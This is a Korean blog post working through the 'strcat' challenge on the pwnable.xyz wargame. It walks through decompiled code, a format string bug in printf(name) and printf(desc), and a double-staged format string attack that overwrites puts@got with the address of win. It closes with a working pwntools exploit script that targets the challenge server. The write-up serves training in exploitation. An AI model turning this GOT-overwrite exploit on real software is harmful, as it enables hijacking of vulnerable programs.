본문으로 바로가기

pwnable.xyz / strcat

category Wargame/pwnable.xyz 2020. 1. 16. 15:32
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int menu// eax

  setup();
  puts("My strcat");
  maxlen = 0x80;

  printf("Name: ");
  maxlen -= readline(name0x80);
  desc = (char *)malloc(0x20uLL);
  printf("Desc: ");
  readline(desc0x20);

  while ( 1 )
  {
    print_menu();
    printf("> ");
    menu = read_int32();

    switch ( menu )
    {
      case 2:
        printf("Desc: ");
        readline(desc0x20);
        break;

      case 3:
        printf(name);
        printf(desc);
        putchar(10);
        break;

      case 1:
        printf("Name: ");
        maxlen -= readline(&name[strlen(name)], maxlen - strlen(name));
        break;

      default:
        puts("Invalid");
        break;
    }
  }
}

 

3번 메뉴에서 익숙한 그 버그를 쓸 수 있을 것 같다.

 

int __fastcall readline(char *buf, int size)
{
  unsigned int len// eax

  read(0bufsize);
  len = strlen(name);
  buf[len - 1] = 0;
  return len - 1;
}

 

readline 함수에서 name 의 길이로 buf 의 길이가 결정되기 때문에, desc 를 입력할 때 name 에 적당히 긴 문자열을 넣어야 할 필요가 있다.

 

Double Staged FSB 기법을 사용할 수 있는 간단한 예제라고 보면 될 듯 하다.

printf(name); 직전의 스택 상황을 살펴보면...

 

gdb-peda$ sd
[------------------------------------stack-------------------------------------]
Function main:
0000| 0x7fffde647410 --> 0x7fffde647510 --> 0x1 
0008| 0x7fffde647418 --> 0x400b90 (<__libc_csu_init>:    push   r15)

 

rsp 레지스터가 가리키는 위치에는 rsp+0xF0 값이 들어있고, rsp+0xF0 이 가리키는 곳에는 1이라는 값이 담겨 있다.

rsp+0xF0 에 함수의 GOT의 주소를 쓴 뒤, 해당 함수의 GOT에 win 의 주소를 쓰고 플래그를 가져오면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
import argparse


def exploit() :
    p.writelineafter(b': ''%{}c%6$llnAAA\x00'.format(0x602028).encode())   # puts@got
    p.writelineafter(b': ''%{}c%36$lln\x00'.format(0x40094C).encode())   # win
    p.writelineafter(b'> 'b'3')
    p.writelineafter(b'> 'b'4')

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('svc.pwnable.xyz'30013)
    else :
        p = process('./challenge')

    exploit()

 

 

 

 

Last update: 2/8/2021

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / UAF  (0) 2020.01.17
pwnable.xyz / iape  (0) 2020.01.16
pwnable.xyz / J-U-M-P  (0) 2020.01.15
pwnable.xyz / SUS  (0) 2020.01.14
pwnable.xyz / fspoo  (0) 2020.01.14